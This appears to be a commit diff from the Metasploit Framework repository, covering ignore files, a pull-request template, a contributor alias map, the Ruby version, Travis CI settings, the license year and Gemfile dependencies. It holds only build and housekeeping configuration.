| 3ff74f019d | |||
| 3125dc2fe9 | |||
| 6c9e43f2ad | |||
| c2fec5db82 | |||
| fdca963b61 | |||
| bb684bb3b1 | |||
| cd90fd3b1c | |||
| 6584da718a | |||
| 2856facdf0 | |||
| e729254b4f | |||
| 1eab4b3a7d | |||
| f073e78838 | |||
| d2624ef574 | |||
| 36e0bad421 | |||
| 0321000ea7 | |||
| 34d358b8d7 | |||
| 58dd59fad5 | |||
| 64037b0d6e | |||
| fae4751771 | |||
| c9dd7a50b6 | |||
| cd950e91a9 | |||
| 968286657e | |||
| e7249742b3 | |||
| cb0a7986bf | |||
| 4906b8a85a | |||
| adf30c5040 | |||
| 9887ca99bb | |||
| 9d0ada9b83 | |||
| cfca4b121c | |||
| 524402ac4b | |||
| 29d6cf4480 | |||
| afd8315e1d | |||
| 9dc1b4dd86 | |||
| a4950a1598 | |||
| e74239b30f | |||
| 870e8046b5 | |||
| a580055491 | |||
| 3a9c6626dc | |||
| 1609213dc2 | |||
| ac4eae2e0f | |||
| 85912be7a3 | |||
| a7debd09fd | |||
| 78dc2b0f5e | |||
| 76593371b1 | |||
| 6bb0f3207d | |||
| f345dbb78d | |||
| 931c052399 | |||
| 8cfcbac2fc | |||
| 699da8df5b | |||
| 10e419e979 | |||
| 57e4bcbf71 | |||
| a3e8cfd018 | |||
| 8edac51a58 | |||
| de9b8da12e | |||
| 81b310f928 | |||
| 8b816feab6 | |||
| f4f0205bde | |||
| f407451d68 | |||
| 5e5aa8cd03 | |||
| 144f886e8b | |||
| 0589948a73 | |||
| b4235835c8 | |||
| 60e602c371 | |||
| f50fa516f4 | |||
| 16f2dc43e0 | |||
| 679ebf31bd | |||
| 99da91e278 | |||
| 894ed4957f | |||
| 18e69b85af | |||
| 93a280dfc1 | |||
| 34e3a17fda | |||
| 5702bd6745 | |||
| ea704211ca | |||
| 4c150a10c2 | |||
| c97e6ae1e8 | |||
| e6e2388256 | |||
| d31846c5be | |||
| 50db1e295f | |||
| d69acd116d | |||
| c5d7fba3bf | |||
| 934b05e736 | |||
| b65a62ba93 | |||
| 2652f347fa | |||
| eeb1bdcff5 | |||
| 9e75866188 | |||
| 94f62bf849 | |||
| 09b5a7f162 | |||
| f9d91d210d | |||
| 9ef3112299 | |||
| 4abc5a5a2f | |||
| e646a8d5c2 | |||
| 445af29d07 | |||
| 4098c66efb | |||
| 0221d2d904 | |||
| f95136ce67 | |||
| d0d84b418b | |||
| a8f36c2a2c | |||
| 574ebd07d7 | |||
| cc293f06fe | |||
| 60d5cefd68 | |||
| 6e830a886e | |||
| 1098bc6d90 | |||
| 26d8738950 | |||
| 7c300a0f9a | |||
| e5c9945c8d | |||
| 11e3e1f3dd | |||
| 41605c533c | |||
| efb015facc | |||
| 13ccfd7bb3 | |||
| a9b78e37d2 | |||
| cc99aaafc6 | |||
| 5a09b5fea7 | |||
| 7093fa3af0 | |||
| c908c6df26 | |||
| 02cbbfd3f2 | |||
| 0bca485858 | |||
| 50fde4849a | |||
| c8ba07b426 | |||
| b57677b362 | |||
| b9fd1db5fa | |||
| ee4caba646 | |||
| d9f5385260 | |||
| 25a8283af3 | |||
| f1efa760df | |||
| e6d4c0001c | |||
| 7ac3859393 | |||
| 74040c4ee6 | |||
| 3a998fada2 | |||
| da9ea0b85c | |||
| 318c0eda81 | |||
| cb870b3d07 | |||
| c2dc350378 | |||
| 3fdf9a0bee | |||
| 201ba41b89 | |||
| 8c99a1a00d | |||
| ac324cb371 | |||
| 3afa20a1af | |||
| fe9972cc25 | |||
| 891fccb4e2 | |||
| 07ce7f3aed | |||
| 7b7deb0588 | |||
| 96b01effa7 | |||
| 9ece45a180 | |||
| 909773120c | |||
| ebf7ae0739 | |||
| ad7b3dac2d | |||
| 4ad42784d3 | |||
| b9e9d97479 | |||
| 505cc19662 | |||
| ce202cb9b2 | |||
| 609c8da772 | |||
| dd2fb2dbbe | |||
| d8d4479d55 | |||
| ef4dd80e2b | |||
| ce5c1f07c3 | |||
| b537146393 | |||
| d0696a09ad | |||
| 50b0c9ef5e | |||
| 7d316cb3e6 | |||
| 8f4621f424 | |||
| a4f681ae35 | |||
| 3d09e283cf | |||
| d549c2793f | |||
| 9e4e9ae614 | |||
| ddac5600e3 | |||
| 260f793f2c | |||
| 8369855e4f | |||
| c190cc775e | |||
| 43cd788350 | |||
| b75fbd454a | |||
| 657d52951b | |||
| 08b9684c1a | |||
| 57d156a5e2 | |||
| b7904fe0cc | |||
| 9952c0ac6f | |||
| 851aae3f15 | |||
| d55d2099c5 | |||
| 4d6b2dfb46 | |||
| 8de17981c3 | |||
| 75bcf82a09 | |||
| f55f578f8c | |||
| d691b86443 | |||
| 6f70323460 | |||
| 1119dc4abe | |||
| e0ba903cd2 | |||
| 372cf740da | |||
| daae46d37b | |||
| 05e59bbe19 | |||
| acfd214195 | |||
| 774d363220 | |||
| 3fd3bbdfb6 | |||
| b377cd8fa3 | |||
| c74355dafb | |||
| c38281706d | |||
| efc65dbb0c | |||
| 48e585b66c | |||
| 1ddd31029e | |||
| 0d02997dd4 | |||
| 6a8da3223e | |||
| da307a5312 | |||
| 467f9e700d | |||
| 6cbae172f8 | |||
| a7cf0c8a32 | |||
| 18fa897644 | |||
| 79a8123d2f | |||
| 18d424bb83 | |||
| b16e84f574 | |||
| 18c54ebb5e | |||
| 15e44e296b | |||
| 972db476ef | |||
| c69d65c47e | |||
| ab6ffcc725 | |||
| dd977c0c28 | |||
| f9a7d34089 | |||
| 88bdee4d4b | |||
| 3105ff3626 | |||
| 9bb5577320 | |||
| 378208bc3d |
+102
@@ -0,0 +1,102 @@
|
||||
.dockerignore
|
||||
.gitignore
|
||||
.env*
|
||||
docker-compose*.yml
|
||||
docker/
|
||||
!docker/msfconsole.rc
|
||||
README.md
|
||||
.git/
|
||||
.github/
|
||||
.ruby-version
|
||||
.ruby-gemset
|
||||
|
||||
.bundle
|
||||
Gemfile.local
|
||||
Gemfile.local.lock
|
||||
# Rubymine project directory
|
||||
.idea
|
||||
# Sublime Text project directory (not created by ST by default)
|
||||
.sublime-project
|
||||
# RVM control file, keep this to avoid backdooring Metasploit
|
||||
.rvmrc
|
||||
# Allow for a local choice of (unsupported / semi-supported) ruby versions
|
||||
# See PR #4136 for usage, but example usage for rvm:
|
||||
# rvm --create --versions-conf use 2.1.4@metasploit-framework
|
||||
# Because rbenv doesn't use .versions.conf, to achieve this same functionality, run:
|
||||
# rbenv shell 2.1.4
|
||||
.versions.conf
|
||||
# YARD cache directory
|
||||
.yardoc
|
||||
# Mac OS X files
|
||||
.DS_Store
|
||||
# database config for testing
|
||||
config/database.yml
|
||||
# target config file for testing
|
||||
features/support/targets.yml
|
||||
# simplecov coverage data
|
||||
coverage
|
||||
doc/
|
||||
external/source/meterpreter/java/bin
|
||||
external/source/meterpreter/java/build
|
||||
external/source/meterpreter/java/extensions
|
||||
external/source/javapayload/bin
|
||||
external/source/javapayload/build
|
||||
# Java binary ignores. Replace the 5 above with this once we're merged.
|
||||
external/source/javapayload/*/.classpath
|
||||
external/source/javapayload/*/.project
|
||||
external/source/javapayload/*/.settings
|
||||
external/source/javapayload/*/bin
|
||||
external/source/javapayload/*/target
|
||||
external/source/javapayload/*/*/.classpath
|
||||
external/source/javapayload/*/*/.project
|
||||
external/source/javapayload/*/*/.settings
|
||||
external/source/javapayload/*/*/bin
|
||||
external/source/javapayload/*/*/target
|
||||
# Packaging directory
|
||||
pkg
|
||||
tags
|
||||
*.swp
|
||||
*.orig
|
||||
*.rej
|
||||
*~
|
||||
# Ignore backups of retabbed files
|
||||
*.notab
|
||||
|
||||
# ignore Visual Studio external source garbage
|
||||
*.suo
|
||||
*.sdf
|
||||
*.opensdf
|
||||
*.user
|
||||
|
||||
# Rails log directory
|
||||
/log
|
||||
# Rails tmp directory
|
||||
/tmp
|
||||
|
||||
# ignore release/debug folders for exploits
|
||||
external/source/exploits/**/Debug
|
||||
external/source/exploits/**/Release
|
||||
|
||||
# Avoid checking in Meterpreter binaries. These are supplied upstream by
|
||||
# the metasploit-payloads gem.
|
||||
data/meterpreter/*.dll
|
||||
data/meterpreter/*.php
|
||||
data/meterpreter/*.py
|
||||
data/meterpreter/*.bin
|
||||
data/meterpreter/*.jar
|
||||
data/meterpreter/*.lso
|
||||
data/android
|
||||
data/java
|
||||
|
||||
# Avoid checking in Meterpreter libs that are built from
|
||||
# private source. If you're interested in this functionality,
|
||||
# check out Metasploit Pro: http://metasploit.com/download
|
||||
data/meterpreter/ext_server_pivot.*.dll
|
||||
|
||||
# Avoid checking in metakitty, the source for
|
||||
# https://rapid7.github.io/metasploit-framework. It's an orphan branch.
|
||||
/metakitty
|
||||
.vagrant
|
||||
|
||||
# no need for rspecs
|
||||
spec/
|
||||
@@ -11,4 +11,5 @@ List the steps needed to make sure this thing works
|
||||
- [ ] ...
|
||||
- [ ] **Verify** the thing does what it should
|
||||
- [ ] **Verify** the thing does not do what it should not
|
||||
- [ ] **Document** the thing and how it works ([Example](https://github.com/rapid7/metasploit-framework/blob/master/documentation/modules/post/multi/gather/aws_keys.md))
|
||||
|
||||
|
||||
@@ -85,3 +85,10 @@ data/meterpreter/ext_server_pivot.*.dll
|
||||
# https://rapid7.github.io/metasploit-framework. It's an orphan branch.
|
||||
/metakitty
|
||||
.vagrant
|
||||
|
||||
# local docker compose overrides
|
||||
docker-compose.local*
|
||||
|
||||
# Ignore python bytecode
|
||||
*.pyc
|
||||
rspec.failures
|
||||
|
||||
@@ -1,58 +1,56 @@
|
||||
acammack-r7 <acammack-r7@github> Adam Cammack <Adam_Cammack@rapid7.com>
|
||||
acammack-r7 <acammack-r7@github> <acammack@aus-mbp-1099.aus.rapid7.com>
|
||||
acammack-r7 <acammack-r7@github> <adam_cammack@rapid7.com>
|
||||
acammack-r7 <acammack-r7@github> <Adam_Cammack@rapid7.com>
|
||||
bcook-r7 <bcook-r7@github> <bcook@rapid7.com>
|
||||
bcook-r7 <bcook-r7@github> <busterb@gmail.com>
|
||||
bcook-r7 <bcook-r7@github> Brent Cook <bcook@rapid7.com>
|
||||
bpatterson-r7 <bpatterson-r7@github> Brian Patterson <Brian_Patterson@rapid7.com>
|
||||
bpatterson-r7 <bpatterson-r7@github> bpatterson-r7 <Brian_Patterson@rapid7.com>
|
||||
bturner-r7 <bturner-r7@github> Brandon Turner <brandon_turner@rapid7.com>
|
||||
bwatters-r7 <bwatters-r7@github> Brendan <bwatters@rapid7.com>
|
||||
bwatters-r7 <bwatters-r7@github> Brendan Watters <bwatters@rapid7.com>
|
||||
cdoughty-r7 <cdoughty-r7@github> Chris Doughty <chris_doughty@rapid7.com>
|
||||
dheiland-r7 <dheiland-r7@github> Deral Heiland <dh@layereddefense.com>
|
||||
dmaloney-r7 <dmaloney-r7@github> David Maloney <DMaloney@rapid7.com>
|
||||
dmaloney-r7 <dmaloney-r7@github> David Maloney <David_Maloney@rapid7.com>
|
||||
dmaloney-r7 <dmaloney-r7@github> dmaloney-r7 <DMaloney@rapid7.com>
|
||||
dmohanty-r7 <dmohanty-r7@github> Dev Mohanty <Dev_Mohanty@rapid7.com>
|
||||
dmohanty-r7 <dmohanty-r7@github> Dev Mohanty <Dev_Mohanty@rapid7.com>
|
||||
dmohanty-r7 <dmohanty-r7@github> dmohanty-r7 <Dev_Mohanty@rapid7.com>
|
||||
dmohanty-r7 <dmohanty-r7@github> dmohanty-r7 <Dev_Mohanty@rapid7.com>
|
||||
ecarey-r7 <ecarey-r7@github> Erran Carey <e@ipwnstuff.com>
|
||||
farias-r7 <farias-r7@github> Fernando Arias <fernando_arias@rapid7.com>
|
||||
gmikeska-r7 <gmikeska-r7@github> Greg Mikeska <greg_mikeska@rapid7.com>
|
||||
gmikeska-r7 <gmikeska-r7@github> Gregory Mikeska <greg_mikeska@rapid7.com>
|
||||
jbarnett-r7 <jbarnett-r7@github> James Barnett <James_Barnett@rapid7.com>
|
||||
jhart-r7 <jhart-r7@github> Jon Hart <jon_hart@rapid7.com>
|
||||
jlee-r7 <jlee-r7@github> <egypt@metasploit.com> # aka egypt
|
||||
jlee-r7 <jlee-r7@github> <james_lee@rapid7.com>
|
||||
kgray-r7 <kgray-r7@github> Kyle Gray <kyle_gray@rapid7.com>
|
||||
khayes-r7 <khayes-r7@github> l0gan <Kirk_Hayes@rapid7.com>
|
||||
lsanchez-r7 <lsanchez-r7@github> Lance Sanchez <lance.sanchez+github@gmail.com>
|
||||
lsanchez-r7 <lsanchez-r7@github> Lance Sanchez <lance.sanchez@rapid7.com>
|
||||
lsanchez-r7 <lsanchez-r7@github> Lance Sanchez <lance@AUS-MAC-1041.local>
|
||||
lsanchez-r7 <lsanchez-r7@github> Lance Sanchez <lance@aus-mac-1041.aus.rapid7.com>
|
||||
lsanchez-r7 <lsanchez-r7@github> darkbushido <lance.sanchez@gmail.com>
|
||||
lsato-r7 <lsato-r7@github> Louis Sato <lsato@rapid7.com>
|
||||
pbarry-r7 <pbarry-r7@github> Pearce Barry <pearce_barry@rapid7.com>
|
||||
pdeardorff-r7 <pdeardorff-r7@github> Paul Deardorff <Paul_Deardorff@rapid7.com>
|
||||
pdeardorff-r7 <pdeardorff-r7@github> pdeardorff-r7 <paul_deardorff@rapid7.com>
|
||||
sdavis-r7 <sdavis-r7@github> Scott Davis <Scott_Davis@rapid7.com>
|
||||
sdavis-r7 <sdavis-r7@github> Scott Lee Davis <scott_davis@rapid7.com>
|
||||
sdavis-r7 <sdavis-r7@github> Scott Lee Davis <sdavis@rapid7.com>
|
||||
sgonzalez-r7 <sgonzalez-r7@github> Sonny Gonzalez <sgonzalez@rapid7.com>
|
||||
sgonzalez-r7 <sgonzalez-r7@github> Sonny Gonzalez <sonny_gonzalez@rapid7.com>
|
||||
shuckins-r7 <shuckins-r7@github> Samuel Huckins <samuel_huckins@rapid7.com>
|
||||
tdoan-r7 <tdoan-r7@github> tdoan-r7 <thao_doan@rapid7.com>
|
||||
tdoan-r7 <tdoan-r7@github> thao doan <thao_doan@rapid7.com>
|
||||
todb-r7 <todb-r7@github> Tod Beardsley <tod_beardsley@rapid7.com>
|
||||
todb-r7 <todb-r7@github> Tod Beardsley <todb@metasploit.com>
|
||||
todb-r7 <todb-r7@github> Tod Beardsley <todb@packetfu.com>
|
||||
bpatterson-r7 <bpatterson-r7@github> <“bpatterson@rapid7.com”>
|
||||
bpatterson-r7 <bpatterson-r7@github> <Brian_Patterson@rapid7.com>
|
||||
bturner-r7 <bturner-r7@github> <brandon_turner@rapid7.com>
|
||||
bwatters-r7 <bwatters-r7@github> <bwatters@rapid7.com>
|
||||
cdoughty-r7 <cdoughty-r7@github> <chris_doughty@rapid7.com>
|
||||
dheiland-r7 <dheiland-r7@github> <dh@layereddefense.com>
|
||||
dmaloney-r7 <dmaloney-r7@github> <David_Maloney@rapid7.com>
|
||||
dmaloney-r7 <dmaloney-r7@github> <DMaloney@rapid7.com>
|
||||
dmohanty-r7 <dmohanty-r7@github> <Dev_Mohanty@rapid7.com>
|
||||
ecarey-r7 <ecarey-r7@github> <e@ipwnstuff.com>
|
||||
egypt <egypt@github> <egypt@metasploit.com> # aka egypt
|
||||
egypt <egypt@github> <james_lee@rapid7.com>
|
||||
jbarnett-r7 <jbarnett-r7@github> <James_Barnett@rapid7.com>
|
||||
jbarnett-r7 <jbarnett-r7@github> <jbarnett@rapid7.com>
|
||||
jhart-r7 <jhart-r7@github> <jon_hart@rapid7.com>
|
||||
jinq102030 <jinq102030@github> <Jin_Qian@rapid7.com>
|
||||
jinq102030 <jinq102030@github> <jqian@rapid7.com>
|
||||
jmartin-r7 <jmartin-r7@github> <Jeffrey_Martin@rapid7.com>
|
||||
kgray-r7 <kgray-r7@github> <kyle_gray@rapid7.com>
|
||||
khayes-r7 <khayes-r7@github> <Kirk_Hayes@rapid7.com>
|
||||
lsanchez-r7 <lsanchez-r7@github> <lance@aus-mac-1041.aus.rapid7.com>
|
||||
lsanchez-r7 <lsanchez-r7@github> <lance@AUS-MAC-1041.local>
|
||||
lsanchez-r7 <lsanchez-r7@github> <lance.sanchez+github@gmail.com>
|
||||
lsanchez-r7 <lsanchez-r7@github> <lance.sanchez@gmail.com>
|
||||
lsanchez-r7 <lsanchez-r7@github> <lance.sanchez@rapid7.com>
|
||||
lsato-r7 <lsato-r7@github> <lsato@rapid7.com>
|
||||
lvarela-r7 <lvarela-r7@github> <“leonardo_varela@rapid7.com”>
|
||||
pbarry-r7 <pbarry-r7@github> <pearce_barry@rapid7.com>
|
||||
pdeardorff-r7 <pdeardorff-r7@github> <paul_deardorff@rapid7.com>
|
||||
pdeardorff-r7 <pdeardorff-r7@github> <Paul_Deardorff@rapid7.com>
|
||||
sdavis-r7 <sdavis-r7@github> <scott_davis@rapid7.com>
|
||||
sdavis-r7 <sdavis-r7@github> <Scott_Davis@rapid7.com>
|
||||
sdavis-r7 <sdavis-r7@github> <sdavis@rapid7.com>
|
||||
sgonzalez-r7 <sgonzalez-r7@github> <sgonzalez@rapid7.com>
|
||||
sgonzalez-r7 <sgonzalez-r7@github> <sonny_gonzalez@rapid7.com>
|
||||
shuckins-r7 <shuckins-r7@github> <samuel_huckins@rapid7.com>
|
||||
tatanus <tatanus@github> <adam_compton@rapid7.com>
|
||||
tdoan-r7 <tdoan-r7@github> <thao_doan@rapid7.com>
|
||||
todb-r7 <todb-r7@github> <tod_beardsley@rapid7.com>
|
||||
todb-r7 <todb-r7@github> <todb@metasploit.com>
|
||||
todb-r7 <todb-r7@github> <todb@packetfu.com>
|
||||
wchen-r7 <wchen-r7@github> <msfsinn3r@gmail.com> # aka sinn3r
|
||||
wchen-r7 <wchen-r7@github> <wei_chen@rapid7.com>
|
||||
wvu-r7 <wvu-r7@github> William Vu <William_Vu@rapid7.com>
|
||||
wvu-r7 <wvu-r7@github> William Vu <wvu@cs.nmt.edu>
|
||||
wvu-r7 <wvu-r7@github> William Vu <wvu@metasploit.com>
|
||||
wvu-r7 <wvu-r7@github> wvu-r7 <William_Vu@rapid7.com>
|
||||
wwebb-r7 <wwebb-r7@github> William Webb <William_Webb@rapid7.com>
|
||||
wwebb-r7 <wwebb-r7@github> wwebb-r7 <William_Webb@rapid7.com>
|
||||
wvu-r7 <wvu-r7@github> <William_Vu@rapid7.com>
|
||||
wvu-r7 <wvu-r7@github> <wvu@cs.nmt.edu>
|
||||
wvu-r7 <wvu-r7@github> <wvu@metasploit.com>
|
||||
wwalker-r7 <wwalker-r7@github> <wyatt_walker@rapid7.com>
|
||||
wwebb-r7 <wwebb-r7@github> <William_Webb@rapid7.com>
|
||||
|
||||
# Above this line are current Rapid7 employees. Below this paragraph are
|
||||
# volunteers, former employees, and potential Rapid7 employees who, at
|
||||
@@ -66,15 +64,14 @@ bcoles <bcoles@github> bcoles <bcoles@gmail.com>
|
||||
bcoles <bcoles@github> Brendan Coles <bcoles@gmail.com>
|
||||
bokojan <bokojan@github> parzamendi-r7 <peter_arzamendi@rapid7.com>
|
||||
brandonprry <brandonprry@github> <bperry@brandons-mbp.attlocal.net>
|
||||
brandonprry <brandonprry@github> Brandon Perry <bperry.volatile@gmail.com>
|
||||
brandonprry <brandonprry@github> Brandon Perry <bperry@bperry-rapid7.(none)>
|
||||
brandonprry <brandonprry@github> Brandon Perry <bperry.volatile@gmail.com>
|
||||
brandonprry <brandonprry@github> Brandon Perry <brandon.perry@zenimaxonline.com>
|
||||
bwall <bwall@github> (B)rian (Wall)ace <nightstrike9809@gmail.com>
|
||||
bwall <bwall@github> Brian Wallace <bwall@openbwall.com>
|
||||
bwall <bwall@github> (B)rian (Wall)ace <nightstrike9809@gmail.com>
|
||||
ceballosm <ceballosm@github> Mario Ceballos <mc@metasploit.com>
|
||||
Chao-mu <Chao-Mu@github> Chao Mu <chao.mu@minorcrash.com>
|
||||
Chao-mu <Chao-Mu@github> chao-mu <chao.mu@minorcrash.com>
|
||||
Chao-mu <Chao-Mu@github> chao-mu <chao@confusion.(none)>
|
||||
Chao-mu <Chao-Mu@github> <chao.mu@minorcrash.com>
|
||||
ChrisJohnRiley <ChrisJohnRiley@github> Chris John Riley <chris.riley@c22.cc>
|
||||
ChrisJohnRiley <ChrisJohnRiley@github> Chris John Riley <reg@c22.cc>
|
||||
claudijd <claudijd@github> Jonathan Claudius <claudijd@yahoo.com>
|
||||
@@ -85,22 +82,24 @@ crcatala <crcatala@github> Christian Catalan <ccatalan@rapid7.com>
|
||||
darkoperator <darkoperator@github> Carlos Perez <carlos_perez@darkoperator.com>
|
||||
efraintorres <efraintorres@github> efraintorres <etlownoise@gmail.com>
|
||||
efraintorres <efraintorres@github> et <>
|
||||
espreto <espreto@github> Roberto Soares <robertoespreto@gmail.com>
|
||||
espreto <espreto@github> Roberto Soares <robertoespreto@gmail.com>
|
||||
espreto <espreto@github> Roberto Soares Espreto <robertoespreto@gmail.com>
|
||||
espreto <espreto@github> Roberto Soares Espreto <robertoespreto@gmail.com>
|
||||
espreto <espreto@github> <robertoespreto@gmail.com>
|
||||
fab <fab@???> fab <> # fab at revhosts.net (Fabrice MOURRON)
|
||||
farias-r7 <farias-r7@github> <fernando_arias@rapid7.com>
|
||||
FireFart <FireFart@github> <firefart@gmail.com>
|
||||
FireFart <FireFart@github> <FireFart@users.noreply.github.com>
|
||||
FireFart <FireFart@github> Christian Mehlmauer <firefart@gmail.com>
|
||||
gmikeska-r7 <gmikeska-r7@github> <greg_mikeska@rapid7.com>
|
||||
gmikeska-r7 <gmikeska-r7@github> greg.mikeska@rapid7.com <=>
|
||||
gmikeska-r7 <gmikeska-r7@github> greg.mikeska@rapid7.com <YOUR_USERNAME_FOR_EMAIL>
|
||||
g0tmi1k <g0tmi1k@github> <g0tmi1k@users.noreply.github.com>
|
||||
g0tmi1k <g0tmi1k@github> <have.you.g0tmi1k@gmail.com>
|
||||
h00die <h00die@github> <h00die@users.noreply.github.com>
|
||||
h00die <h00die@github> <mike@shorebreaksecurity.com>
|
||||
h0ng10 <h0ng10@github> h0ng10 <hansmartin.muench@googlemail.com>
|
||||
h0ng10 <h0ng10@github> Hans-Martin Münch <hansmartin.muench@googlemail.com>
|
||||
hdm <hdm@github> HD Moore <hd_moore@rapid7.com>
|
||||
hdm <hdm@github> HD Moore <hdm@digitaloffense.net>
|
||||
hdm <hdm@github> HD Moore <hd_moore@rapid7.com>
|
||||
hdm <hdm@github> HD Moore <x@hdm.io>
|
||||
jabra <jabra@github> Josh Abraham <jabra@spl0it.org>
|
||||
jabra <jabra@github> Joshua Abraham <jabra@spl0it.org>
|
||||
jabra <jabra@github> <jabra@spl0it.org>
|
||||
jcran <jcran@github> <jcran@0x0e.org>
|
||||
jcran <jcran@github> <jcran@pentestify.com>
|
||||
jcran <jcran@github> <jcran@pwnieexpress.com>
|
||||
@@ -108,9 +107,9 @@ jcran <jcran@github> <jcran@rapid7.com>
|
||||
jduck <jduck@github> <github.jdrake@qoop.org>
|
||||
jduck <jduck@github> <jdrake@qoop.org>
|
||||
jgor <jgor@github> jgor <jgor@indiecom.org>
|
||||
joevennix <joevennix@github> Joe Vennix <joevennix@gmail.com>
|
||||
joevennix <joevennix@github> <Joe_Vennix@rapid7.com>
|
||||
joevennix <joevennix@github> <joev@metasploit.com>
|
||||
joevennix <joevennix@github> Joe Vennix <joevennix@gmail.com>
|
||||
joevennix <joevennix@github> jvennix-r7 <Joe_Vennix@rapid7.com>
|
||||
juanvazquez <juanvazquez@github> jvazquez-r7 <juan.vazquez@metasploit.com>
|
||||
juanvazquez <juanvazquez@github> jvazquez-r7 <juan_vazquez@rapid7.com>
|
||||
@@ -139,15 +138,20 @@ r3dy <r3dy@github> Royce Davis <rdavis@Royces-MacBook-Pro-2.
|
||||
r3dy <r3dy@github> Royce Davis <royce.e.davis@gmail.com>
|
||||
rep <mschloesser-r7@github> Mark Schloesser <mark_schloesser@rapid7.com>
|
||||
rep <mschloesser-r7@github> mschloesser-r7 <mark_schloesser@rapid7.com>
|
||||
RageLtMan <sempervictus@github> <rageltman [at] sempervictus>
|
||||
RageLtMan <sempervictus@github> <rageltman@sempervictus.com>
|
||||
Rick Flores <0xnanoquetz9l@gmail.com> Rick Flores (nanotechz9l) <0xnanoquetz9l@gmail.com>
|
||||
rsmudge <rsmudge@github> Raphael Mudge <rsmudge@gmail.com> # Aka `butane
|
||||
rwhitcroft <rwhitcroft@github> <rwhitcroft.github@gmail.com>
|
||||
rwhitcroft <rwhitcroft@github> <rwhitcroft@gmail.com>
|
||||
rwhitcroft <rwhitcroft@github> <rwhitcroft@users.noreply.github.com>
|
||||
schierlm <schierlm@github> Michael Schierl <schierlm@gmx.de> # Aka mihi
|
||||
scriptjunkie <scriptjunkie@github> Matt Weeks <scriptjunkie@scriptjunkie.us>
|
||||
scriptjunkie <scriptjunkie@github> scriptjunkie <scriptjunkie@scriptjunkie.us>
|
||||
skape <skape@???> Matt Miller <mmiller@hick.org>
|
||||
spoonm <spoonm@github> Spoon M <spoonm@gmail.com>
|
||||
stufus <stufus@github> Stuart <stufus@users.noreply.github.com>
|
||||
stufus <stufus@github> Stuart Morgan <stuart.morgan@mwrinfosecurity.com>
|
||||
stufus <stufus@github> Stuart <stufus@users.noreply.github.com>
|
||||
swtornio <swtornio@github> Steve Tornio <swtornio@gmail.com>
|
||||
Tasos Laskos <Tasos_Laskos@rapid7.com> Tasos Laskos <Tasos_Laskos@rapid7.com>
|
||||
techpeace <techpeace@github> Matt Buck <Matthew_Buck@rapid7.com>
|
||||
@@ -157,10 +161,10 @@ TomSellers <TomSellers@github> Tom Sellers <tom@fadedcode.net>
|
||||
trevrosen <trevrosen@github> Trevor Rosen <trevor@catapult-creative.com>
|
||||
trevrosen <trevrosen@github> Trevor Rosen <Trevor_Rosen@rapid7.com>
|
||||
TrustedSec <davek@trustedsec.com> trustedsec <davek@trustedsec.com>
|
||||
void-in <void-in@github> root <void-in@users.noreply.github.com>
|
||||
void-in <void-in@github> void-in <root@localhost.localdomain>
|
||||
void-in <void-in@github> void-in <waqas.bsquare@gmail.com>
|
||||
void-in <void-in@github> void_in <root@localhost.localdomain>
|
||||
void-in <void-in@github> void-in <root@localhost.localdomain>
|
||||
void-in <void-in@github> <void-in@users.noreply.github.com>
|
||||
void-in <void-in@github> void-in <waqas.bsquare@gmail.com>
|
||||
void-in <void-in@github> Waqas Ali <waqas.bsquare@gmail.com>
|
||||
zeroSteiner <zeroSteiner@github> Spencer McIntyre <zeroSteiner@gmail.com>
|
||||
|
||||
|
||||
+1
-1
@@ -1 +1 @@
|
||||
2.3.3
|
||||
2.4.1
|
||||
|
||||
+19
-7
@@ -1,24 +1,29 @@
|
||||
dist: trusty
|
||||
sudo: false
|
||||
group: stable
|
||||
bundler_args: --without coverage development pcap
|
||||
cache: bundler
|
||||
addons:
|
||||
postgresql: '9.3'
|
||||
postgresql: '9.6'
|
||||
apt:
|
||||
packages:
|
||||
- libpcap-dev
|
||||
- graphviz
|
||||
language: ruby
|
||||
rvm:
|
||||
- '2.3.3'
|
||||
- '2.2'
|
||||
- '2.3.4'
|
||||
- '2.4.1'
|
||||
|
||||
env:
|
||||
- RAKE_TASKS="cucumber cucumber:boot" CREATE_BINSTUBS=true
|
||||
- RAKE_TASKS=spec SPEC_OPTS="--tag content"
|
||||
- RAKE_TASKS=spec SPEC_OPTS="--tag ~content"
|
||||
- CMD='bundle exec rake rspec-rerun:spec SPEC_OPTS="--tag content"'
|
||||
- CMD='bundle exec rake rspec-rerun:spec SPEC_OPTS="--tag ~content"'
|
||||
|
||||
matrix:
|
||||
fast_finish: true
|
||||
include:
|
||||
- rvm: ruby-head
|
||||
env: CMD="docker-compose -f $TRAVIS_BUILD_DIR/docker-compose.yml build"
|
||||
before_install:
|
||||
- "echo 'gem: --no-ri --no-rdoc' > ~/.gemrc"
|
||||
- rake --version
|
||||
@@ -26,14 +31,18 @@ before_install:
|
||||
- ln -sf ../../tools/dev/pre-commit-hook.rb ./.git/hooks/post-merge
|
||||
- ls -la ./.git/hooks
|
||||
- ./.git/hooks/post-merge
|
||||
# Update the bundler
|
||||
- gem install bundler
|
||||
before_script:
|
||||
- cp config/database.yml.travis config/database.yml
|
||||
- bundle exec rake --version
|
||||
- bundle exec rake db:create
|
||||
- bundle exec rake db:migrate
|
||||
script:
|
||||
# fail build if db/schema.rb update is not committed
|
||||
- git diff --exit-code db/schema.rb && bundle exec rake $RAKE_TASKS
|
||||
- git diff --exit-code db/schema.rb
|
||||
script:
|
||||
- echo "${CMD}"
|
||||
- bash -c "${CMD}"
|
||||
|
||||
notifications:
|
||||
irc: "irc.freenode.org#msfnotify"
|
||||
@@ -46,3 +55,6 @@ branches:
|
||||
except:
|
||||
- gh-pages
|
||||
- metakitty
|
||||
|
||||
services:
|
||||
- docker
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
Copyright (C) 2006-2016, Rapid7, Inc.
|
||||
Copyright (C) 2006-2017, Rapid7, Inc.
|
||||
All rights reserved.
|
||||
|
||||
Redistribution and use in source and binary forms, with or without modification,
|
||||
|
||||
@@ -3,11 +3,15 @@ source 'https://rubygems.org'
|
||||
# spec.add_runtime_dependency '<name>', [<version requirements>]
|
||||
gemspec name: 'metasploit-framework'
|
||||
|
||||
# These pull in pre-release gems in order to fix specific issues.
|
||||
# XXX https://github.com/alexdalitz/dnsruby/pull/134
|
||||
gem 'dnsruby', git: 'https://github.com/alexdalitz/dnsruby'
|
||||
# XXX https://github.com/ConnorAtherton/rb-readline/commit/fd882edcd145c26681f9971be5f6675c7f6d1970
|
||||
gem 'rb-readline', git: 'https://github.com/ConnorAtherton/rb-readline'
|
||||
|
||||
# separate from test as simplecov is not run on travis-ci
|
||||
group :coverage do
|
||||
# code coverage for tests
|
||||
# any version newer than 0.5.4 gives an Encoding error when trying to read the source files.
|
